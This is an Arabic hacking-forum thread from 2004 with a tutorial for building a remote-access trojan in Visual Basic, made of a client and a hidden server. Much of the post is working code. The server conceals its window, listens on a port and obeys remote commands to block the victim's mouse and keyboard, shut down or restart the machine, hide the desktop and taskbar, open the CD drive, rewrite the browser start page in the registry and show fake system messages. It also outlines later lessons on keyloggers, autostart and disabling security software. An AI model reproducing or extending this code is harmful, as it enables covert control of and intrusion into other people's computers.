|
|
|
|||
|
|
|
|
||
|
|||||||
| شامل الهكرز والحماية كل مايتعلق بالهكرز وأساليبهم والحماية منهم . |
 |
|
|
LinkBack | أدوات الموضوع | تقييم الموضوع | أنماط العرض |
08-26-2004, 04:07 PM
|
#1 (permalink) | |||||||
|
مطرود
|
تعلم كيف تصمم برنامج أختراق عن طريق الفيجوال بيسك و الشرح بالصوره
السلام عليكم : لقد نقلت هذي الطريقه من الاخ الفاضل AsbMay وهي طريقة تصميم برنامج أختراق عن الطريق الفيجوال بيسك بس يباله شوي تركيز منكم بسم الله الرحمن الرحيم بعد افتتاح الموقع الموقع مرة أخرى للأسف كما نرى ضاعت المواضيع لذا فسأعيد ما يعيننى الله على إعادته من الدروس والفترة التالية بإذن الله ستوضح من مع القراصنة العرب ومن ضدهم من خلال بناء الموقع مرة أخرى الفكرة :- تصميم برنامج إختراق أجهزة من عميل وخادم بالفيجول بيزك الهدف :- إيجاد برنامج عربى قوى ينافس البرامج الأجنبية سلسلة الدروس :- 1- التصميم الأساسى للبرنامج مع قائمة المرح ورسائل النظام وهذا هو الدرس الذى سنتناوله اليوم 2- إضافة محادثة العميل والضحية 3- إضافة محادثة الماتركس 4- تطوير الخادم من تبليغ بريدى وتشغيل اتوماتيكى فى الرجسترى وقتل الحماية .... الخ 5- إضافة الكى لوجر جاسوس لوحة المفاتيح 6- تعليم صناعة محرر الخادم الإيدت سرفر 7- إضافة إدارة النوافذ 8- إضافة إدارة الملفات 9- إضافة تصوير الشاشة والكاميرا 10- إضافة الحماية بالباسورد هذا هو كل ما تمكنت من اضافته لبرنامجى الإصدار الخامس الذى قريبا سترونه وإن شاء الله تصممون مثله وافضل -------------------------------  -: الشرح :- افتح الفيجول بيزك كالمعتاد بإختيار Standard EXE  راح يفتح لك فورم فارغ كما بالصورة التالية  الآن علينا تغيير خصائص الفورم حتى تناسبنا والان من مربع الخصائص Properties نقوم بالآتى : 1- تغيير الإسم من الخاصية Name إلى Main 2- تغيير الحدود من BorderStyle إلى Fixed Single 3- تغيير التسمية من الخاصية Caption إلى أى اسم تريد مثلا Client وهذه الصورة للتوضيح  الآن نقوم بإضافة الكائنات من ToolBox كما بالصورة التالية  ولمن لا يدرى كيفية إضافة الكائنات هذه الصورة للتوضيح  الآن سنقوم بتغير تسميات العناوين باستخدام الخاصية Caption كما بالصورة التالية  نفس العملية أيضا مع الأزرار من الخاصية Caption  أما مربعات النصوص فنغيرها من الخاصية Text  الآن بعد ان غيرنا التسميات علينا تغيير الأسماء من الخاصية Name كالتالى زر الإتصال = cmdConnect زر قطع الإتصال = cmdDissconnect مربع إدخال الأى بى = txtIP مربع إدخال المنفذ = txtPort عنوان الحالة = lblStat الآن انتهينا من كائنات الفورم الأساسى للعميل سننتقل إلى إضافة فورم المرح وبعده فورم رسائل النظام إضافة فورم المرح والرسائل نقوم بإضافة فورم جديد كما بالصورة التالية  راح يفتح لنا هذه النافذة  نقوم بإختيار الخيار الأول Form راح يفتح لنا فورم جديد كالسابق نقوم بتغيير الإسم إلى Fun والحدود إلى Fixed Single والتمسة إلى اى شئ تريد  نقوم بإضافة خمسة عشر زر كالتالى  نقوم يتغيير التسميات من Caption كالتالى  الان انتهينا من فورم المرح وسنضيف فورم رسائل النظام نقوم بإدارج فورم جديد بنفس الطريقة السابقة نقوم بتغيير الإسم إلى Massege والحدود إلى Fixed Single والتمسة إلى اى شئ تريد  نقوم بإدراج الكائنات كما بالتالى  نقوم بتغير التسميات من Caption ما عدا مربع النص نغيره من Text  ثم نقوم بتغيير إسم مربع النص من الخاصية Name إلى txtMsg والآن انتهينا من إضافة فورم رسائل النظام وبقى خطوة واحدة فى الكائنات وهى إضافة الوينسوك -: إضافة الوينسوك :- وهى الأدارة التى تربط بين اى برنامجين وتقوم بإرسال واستقبال البيانات بل وأيضا الملفات عن طريق تحوليها إلى صيغ ثنائية , ويمكن الإستغناء عنها بتعريفها باستخدام دوال Microsoft API والان حتى تتمكن من اضافتها اتبع الآتى عد إلى الفورم الرئيسى Main اذهب إلى ToolBox واضغط زر الفأرة الأيمن واختر Components  راح يفتح لك قائمة بالأدوات الخارجية المسجلة  ابحث فى هذه القائمة ستجد الوينسوك بإسم Microsoft Winsock Control 6.0 علم امامها بعلامة صح ثم اضغط OK اما إن لم تجدا باللستة فستضطر إلى اضافتها بنفسك بالضغط على Browse... سيفتح لك مربع تحديد ادوات OCX قم بإختيار الوينسوك وستجدها بإسم MSWINSCK.OCX  إن كنت من مستخدمى XP أو 2000 أو 2003 فستجد الوينسوك فى مجلد System32 بالويندوز أما إن كنت من مستخدمى X9 أو ME فستجدها فى مجلد System بالويندوز وبعد تحديدها ستجدها أضيفت لقائمتك كما بالصورة التالية  اضغط عل OK لتضاف فى آخر ToolBox  قم بالضغط عليها مرتين لتندرج فى مشروعك كما بالصورة التالية  وبالطبع لا تنس تغيير إسم الوينسوك من الخاصية Name إلى wnsClient ------------------------------ -: الأكواد :- لمن لايعرف كيفية إضافة الاكواد للكائنات يكفيك الضغط عليها مرتين ولصق الكود فى المكان الذى سيفتح عليه ) 1- كود زر الإتصال If txtIP.Text = "" Then ' التأكد من رقم الأى بى MsgBox "من فضلك ادخل رقم IP مناسب" Else cmdConnect.Enabled = False ' لإيقاف عمل زر الإتصال cmdDissconnect.Enabled = True ' لتفعيل زر إيقاف الإتصال lblStat.Caption = "الاتصال جاري.." ' تحديث الحالة wnskClinet.Close 'إغلاق إى إتصال مفتوح wnskClinet.Connect txtIP.Text, txtPort.Text 'الإتصال End If - كود زر قطع الإتصال كود: lblStat.Caption = "غير متصل" ' نحديث الحالة cmdDissconnect.Enabled = False ' لإيقاف زر قطع الإتصال cmdConnect.Enabled = True ' لتفعيل زر الإتصال wnskClient.Close 'اغلاق الاتصال - كود زر المرح كود: Fun.Show ' لإظهار فورم المرح - كود زر رسائل النظام كود: Massege.Show 'لإظهار فورم الرسائل الحين نبدأ بأكواد الأداة وينسوك نقوم بالضغط مرتين على الأدارة وينسوك راح يفتح لنا على الإجراء Error نلصق به هذا الكود lblStat.Caption = "خطأ فى الإتصال" cmdConnect.Enabled = True ' لإيقاف عمل زر الإتصال cmdDissconnect.Enabled = False ' لتفعيل زر إيقاف الإتصال الحين نغير من الإجراء Error إلى الإجراء Close والصورة التالية توضح كيفية تغيير الإجرائات  ونلصق هذا الكود فى الإجراء Close كود: wnskClient.Close cmdConnect.Enabled = True ' لإيقاف عمل زر الإتصال cmdDissconnect.Enabled = False ' لتفعيل زر إيقاف الإتصال ثم ننتقل إلى الإجراء Connect ونلصق هذا الكود كود: lblStat.Caption = "تم الإتصال" cmdConnect.Enabled = False ' لإيقاف عمل زر الإتصال cmdDissconnect.Enabled = True ' لتفعيل زر إيقاف الإتصال اخيرا فى حدث تحميل الفورم Form Load الصق هذا الكود كود: cmdDissconnect.Enabled = False ' لإيقاف زر قطع الإتصال الآن انتهينا من أكواد الفورم الرئيسيى Main -------------------------------- أكواد فورم المرح Fun - كود زر فتح سواقة الأقراص كود: If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال Main.wnskClinet.SendData "opn" 'ارسال الي السيرفر Else MsgBox "انت غير متصل", vbCritical End If كود زر إغلاق سواقة الأقراص كود: If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال Main.wnskClinet.SendData "cls" 'ارسال الي السيرفر Else MsgBox "انت غير متصل", vbCritical End If كود زر إخفاء شريط المهام كود: If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال Main.wnskClinet.SendData "hid" 'ارسال الي السيرفر Else MsgBox "انت غير متصل", vbCritical End If كود زر إظهار شريط المهام كود: If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال Main.wnskClinet.SendData "shw" 'ارسال الي السيرفر Else MsgBox "انت غير متصل", vbCritical End If كود زر إخفاء سطح المكتب كود: If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال Main.wnskClinet.SendData "dth" 'ارسال الي السيرفر Else MsgBox "انت غير متصل", vbCritical End If كود زر إظهار سطح المكتب كود: If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال Main.wnskClinet.SendData "dts" 'ارسال الي السيرفر Else MsgBox "انت غير متصل", vbCritical End If كود زر إخفاء زر إبدأ كود: If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال Main.wnskClinet.SendData "sbh" 'ارسال الي السيرفر Else MsgBox "انت غير متصل", vbCritical End If كود زر إظهار زر إبدأ كود: If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال Main.wnskClinet.SendData "shw" 'ارسال الي السيرفر Else MsgBox "انت غير متصل", vbCritical End If كود زر فتح صفحة بالمتصفح كود: If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال site = InputBox("أدخل الصفحة المراد فتحها عند الضحية", "أدخل الصفحة") Main.wnskClinet.SendData "opg" & site 'ارسال الي السيرفر Else MsgBox "انت غير متصل", vbCritical End If كود زر ضبط صفحة البدء كود: If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال WEB = InputBox("أدخل الصفحة المراد ضبتها كصفحة بدأ", "أدخل الصفحة") Main.wnskClinet.SendData "oph" & WEB 'ارسال الي السيرفر Else MsgBox "انت غير متصل", vbCritical End If كود زر تعطيل الفأرة والمفاتيح كود: If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال Main.wnskClinet.SendData "smk" 'ارسال الي السيرفر Else MsgBox "انت غير متصل", vbCritical End If كود زر تشغيل الفأرة والمفاتيح كود: If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال Main.wnskClinet.SendData "pmk" 'ارسال الي السيرفر Else MsgBox "انت غير متصل", vbCritical End If كود زر إغلاق الجهاز كود: If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال Main.wnskClinet.SendData "sht" 'ارسال الي السيرفر Else MsgBox "انت غير متصل", vbCritical End If كود زر إعادة التشغيل كود: If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال Main.wnskClinet.SendData "res" 'ارسال الي السيرفر Else MsgBox "انت غير متصل", vbCritical End If كود زر تشغيل حافظة الشاشة كود: If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال Main.wnskClinet.SendData "scr" 'ارسال الي السيرفر Else MsgBox "انت غير متصل", vbCritical End If الآن انتهينا من أ كواد فورم المرح Fun ------------------------ أكواد فورم الرسائل Massege 1- أكواد زر إرسال الرسالة كود: If Main.cmdDissconnect.Enabled = False Then 'التأكد من الإتصال MsgBox "انت غير متصل", vbCritical Else If Option1.Value = True Then Main.wnskClinet.SendData "mer" & txtMsg 'ارسال الي السيرفر End If If Option2.Value = True Then Main.wnskClinet.SendData "mqu" & txtMsg 'ارسال الي السيرفر End If If Option3.Value = True Then Main.wnskClinet.SendData "min" & txtMsg 'ارسال الي السيرفر End If If Option4.Value = True Then Main.wnskClinet.SendData "mex" & txtMsg 'ارسال الي السيرفر End If If Option5.Value = True Then Main.wnskClinet.SendData "mno" & txtMsg 'ارسال الي السيرفر End If End If كود زر اختبار الرسالة كود: If Option1.Value = True Then MsgBox txtMsg, vbCritical End If If Option2.Value = True Then MsgBox txtMsg, vbQuestion End If If Option3.Value = True Then MsgBox txtMsg, vbInformation End If If Option4.Value = True Then MsgBox txtMsg, vbExclamation End If If Option5.Value = True Then MsgBox txtMsg End If الآن انتهينا تماماً من العميل اكواداً وكائنات وصار جاهزاً لتحويله ملف تنفيذى ________________________________________ -: الخادم :- - الكائنات - هذه المرة ما راح نحتاج كائنات غير الوينسوك والباقى سيكون مجرد أكواد قم بفتح مشروع جديد تماما Standerad EXE سيفتح لك بالطبع الفورم التقليدى لسنا بحاجة إلى تحديد اسم او تسمية أو حتى تغيير الحدود لأن هذا الفورم سيكون مخفى لا يراه أحد نقوم بإدراج الأداة وينسوك على الفورم كما تعلمنا سابقا  ولا ننس تغيير إسمها إلى wnskServer الحين انتهينا من الكائنات - الأكواد - 1- فى إجراء تحميل الفورم Form Load نضع هذا الكود كود: Form1.Visible = False ' إخفاء الفورم wnskServer.LocalPort = 3000 'رقم المنفذ الخاص بالسرفر wnskServer.Listen ' الإنصات بإنتظار إشارة من العميل إجرائات الوينسوك 1- الإجراء Clsoe كود: Form1.Visible = False ' إخفاء الفورم wnskServer.LocalPort = 3000 'رقم المنفذ الخاص بالسرفر wnskServer.Listen ' الإنصات بإنتظار إشارة من العميل الإجراء ConnectionRequest كود: wnskServer.Close 'إغلاق الإتصال قبل قبول اى اتصال آخر DoEvents wnskServer.Accept requestID ' قبول الإتصال الإجراء DataArrival كود: Dim vardata As String ' الإعلان عن بعض المتغيرات Dim strdata As String ' الإعلان عن بعض المتغيرات Dim cmddata As String * 3 ' الإعلان عن بعض المتغيرات wnskServer.GetData strdata ' الأمر بإستقبال الرسائل من الهميل cmddata = Left(strdata, 3) vardata = Right(strdata, Len(strdata) - 3) DoCommand cmddata, vardata الإجراء Error كود: wnskServer.Close ' لإغلاق الإتصال فى حالة الخطأ wnskServer.Listen 'لإعادة التصنت من جديد قم بإضافة موديل وهذه طريقة إضافته   سيفتح لك مربع حوار به خيار وحيد اختره ثم قم بلصق هذا الكود به كود: Public Function DoCommand(command As String, Data As String) Select Case LCase(command) Case "opn" OpenCDDriveDoor (True) 'إرسال لتفعيل امر فتح سواقة الاقراص Case "cls" OpenCDDriveDoor (False) 'إرسال لتفعيل امر إغلاق سواقة الاقراص Case "hid" hidetask True 'إرسال لتفعيل إخفاء شريط المهام Case "shw" hidetask False 'إرسال لتفعيل إظهار شرسط المهام Case "dth" hidedt True 'إرسال لتفعيل إخفاء شريط المهام Case "dts" hidedt False 'إرسال لتفعيل إظهار شريط المهام Case "sbh" hidesb True 'إرسال لتفعيل إخفاء زر ستارت Case "sbs" hidesb False 'إرسال لتفعيل إظهار زر ستارت Case "sht" On Error Resume Next WinDir$ = Environ$("windir") KillWin$ = WinDir$ + "\Rundll.exe User.exe,ExitWindows" ************l KillWin$ Case "res" On Error Resume Next Call ************l("Rundll32.exe user,exitwindows") Case "opg" Dim X As Object Set X = CreateObject("InternetExplorer.Application") X.Navigate Data X.Visible = True Case "oph" SetStartPage Data Case "scr" ScreenSaver True Case "smk" KeyMous True Case "pmk" KeyMous False Case "mer" MsgBox Data, vbCritical, "Erorr" 'إظهار الرسالة للضحية فى مربع حطأ Case "mqu" MsgBox Data, vbQuestion, "Question" 'إظهار الرسالة للضحية فى مربع حطأ Case "min" MsgBox Data, vbInformation, "Information" 'إظهار الرسالة للضحية فى مربع ملعومات Case "mex" MsgBox Data, vbExclamation, "Exclamation" 'إظهار الرسالة للضحية فى مربع تحذير Case "mno" MsgBox Data, , "System" 'إظهار الرسالة للضحية فى مربع فارغ End Select End Function  ثم نقوم بتغيير إسمه إلى mdlCases ثم نقوم بإذافة موديل آخر بنفس الطريقة السابقة ونسميه هذه المرة mdlOrders ونلصق به هذا الكود Private Declare Function RegCloseKey Lib "advapi32.dll" _ (ByVal hKey As Long) As Long Private Declare Function RegCreateKey Lib "advapi32.dll" _ Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey _ As String, phkResult As Long) As Long Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias _ "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName _ As String, ByVal Reserved As Long, ByVal dwType As Long, _ lpData As Any, ByVal cbData As Long) As Long Private Const REG_SZ = 1 Private Const HKEY_CURRENT_USER = &H80000001 Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long Public Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long Public Const HWND_TOP = 0 Public Const HWND_TOPMOST = -1 Public Const SWP_NOSIZE = &H1 Public Const SWP_NOMOVE = &H2 Public Const FLAGS = SWP_NOSIZE Or SWP_NOMOVE Public Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long Public Const SW_HIDE = 0 Public Const SW_SHOW = 5 Const SWP_HIDEWINDOW = &H80 Public Sub OpenCDDriveDoor(ByVal State As Boolean) If State = True Then Call mciSendString("Set CDAudio Door Open", 0&, 0&, 0&) Else Call mciSendString("Set CDAudio Door Closed", 0&, 0&, 0&) End If End Sub Public Sub hidetask(ByVal State As Boolean) If State = True Then Call SetWindowPos(FindWindow("************l_traywnd", ""), 0, 0, 0, 0, 0, &H80) Else Call SetWindowPos(FindWindow("************l_traywnd", ""), 0, 0, 0, 0, 0, &H40) End If End Sub Public Sub hidedt(ByVal State As Boolean) If State = True Then ShowWindow FindWindowEx(0&, 0&, "Progman", vbNullString), 0 Else ShowWindow FindWindowEx(0&, 0&, "Progman", vbNullString), 5 End If End Sub Public Sub hidesb(ByVal State As Boolean) If State = True Then ShowWindow FindWindowEx(FindWindow("************l_TrayWnd", ""), 0, "Button", vbNullString), 0 Else ShowWindow FindWindowEx(FindWindow("************l_TrayWnd", ""), 0, "Button", vbNullString), 1 End If End Sub Public Sub SaveString(hKey As Long, Path As String, _ Name As String, Data As String) Dim KeyHandle As Long Dim r As Long r = RegCreateKey(hKey, Path, KeyHandle) r = RegSetValueEx(KeyHandle, Name, 0, _ REG_SZ, ByVal Data, Len(Data)) r = RegCloseKey(KeyHandle) End Sub Public Sub SetStartPage(URL As String) Call SaveString(HKEY_CURRENT_USER, _ "Software\Microsoft\Internet Explorer\Main", _ "Start Page", URL) End Sub Public Sub ScreenSaver(ByVal State As Boolean) If State = True Then Call SendMessage(Form1.hwnd, &H112&, &HF140&, 0) End Sub Public Sub KeyMous(ByVal State As Boolean) If State = True Then BlockInput True Else BlockInput False End If End Sub الآن انتهينا من العميل والخادم أكواد وكائنات اتمنى ان يكون الشرح سهل ومبسط ومفهمو وأى استفسار انا موجود أتمنه أكون وفقت في ألقاء المحاضره من الاخ AsbMay عن طريق هذي المحاضر أن شاء الله سوف نقوم بتصميم أقوى برنامج هكر بسم شامل نت مع تحياتى : أخوكم مستحييييل |
|||||||
|
    
|
|
|
|
|
|
08-28-2004, 12:35 AM
|
#3 (permalink) | ||||||
|
شاملي نشيط
|
top top top مشكوووووور __________________ |
||||||
|
|
|
|
09-04-2004, 07:24 PM
|
#7 (permalink) | ||||||||
|
مطرود
|
اقتباس:
فقط الأعضاء المسجلين يمكنهم رؤية الروابط قم بتسجيل الدخول اولا [نشط عضويتي] - [طلب كود التنشيط] - [نسيت كلمة السر] - [لأصحاب ايميلات الهوتميل ] - [تسجيل كعضو جديد] وسامحني لائن الفيجوال بيسك عندي حجمه كبير جدا وما اعرف كيف يرفعونه بالموقع بس يمكن أخ المشرف يقدر يساعدك |
||||||||
|
|
|
